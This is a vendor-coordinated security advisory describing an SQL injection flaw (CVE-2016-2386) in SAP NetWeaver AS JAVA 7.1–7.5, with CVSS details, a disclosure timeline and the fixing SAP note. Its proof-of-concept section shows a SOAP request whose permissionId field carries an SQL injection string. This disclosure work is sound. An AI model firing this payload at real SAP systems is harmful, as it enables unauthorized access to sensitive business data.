Application: SAP NetWeaver AS JAVA Versions Affected: SAP NetWeaver AS JAVA 7.1 - 7.5 Vendor URL: http://SAP.com Bugs: SQL injection Send: 04.12.2015 Reported: 04.12.2015 Vendor response: 05.12.2015 Date of Public Advisory: 09.02.2016 Reference: SAP Security Note 2101079 Author: Vahagn Vardanyan (ERPScan) Description 1. ADVISORY INFORMATION Title: SAP NetWeaver AS JAVA ? SQL injection vulnerability Advisory ID: [ERPSCAN-16-011] Risk: Critical Advisory URL: https://erpscan.com/advisories/erpscan-16-011-sap-netweaver-7-4-sql-injection-vulnerability/ Date published: 09.02.2016 Vendors contacted: SAP 2. VULNERABILITY INFORMATION Class: SQL injection Impact: Resource consumption Remotely Exploitable: Yes Locally Exploitable: No CVE: 2016-2386 CVSS Information CVSS Base Score v3: 9.1 / 10 CVSS Base Vector: AV : Access Vector (Related exploit range) Network (N) AC : Access Complexity (Required attack complexity) Low (L) Au : Authentication (Level of authentication needed to exploit) None (N) C : Impact to Confidentiality High (H) I : Impact to Integrity High(H) A : Impact to Availability None (N) 3. VULNERABILITY DESCRIPTION An SQL injection vulnerability means that a code comprises an SQL statement that contains strings that can be altered by an attacker. The manipulated SQL statement can be used to gain additional data from the database or to modify the information. 4. VULNERABLE PACKAGES SAP NetWeaver AS JAVA 7.1 - 7.5 Other versions are probably affected too, but they were not checked. 5. SOLUTIONS AND WORKAROUNDS To correct this vulnerability, install SAP Security Note 2101079 6. AUTHOR Vahagn Vardanyan (ERPScan) 7. TECHNICAL DESCRIPTION By exploiting this vulnerability, an internal or external attacker can escalate their privileges. This access allows obtaining sensitive technical and business-related information stored in the vulnerable SAP system. PoC POST /XXX/UDDISecurityImplBean HTTP/1.1 Content-Type: text/xml <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> XXX <permissionId>x' AND 1=(SELECT COUNT(*) FROM BC_UDV3_EL8EM_KEY) or '1'='1</permissionId> XXX </SOAP-ENV:Envelope> 8. REPORT TIMELINE Sent: 04.12.2015 Reported: 04.12.2015 Vendor response: 05.12.2015 Date of Public Advisory: 09.02.2016 9. REFERENCES https://erpscan.com/advisories/erpscan-16-011-sap-netweaver-7-4-sql-injection-vulnerability/ 10. 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